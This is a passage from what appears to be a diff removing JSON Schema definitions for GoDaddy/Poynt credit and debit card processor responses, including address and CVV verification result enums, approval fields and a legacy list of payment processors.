"title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Debit Card Processor Response", - "description": "Processor response for debit card", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - 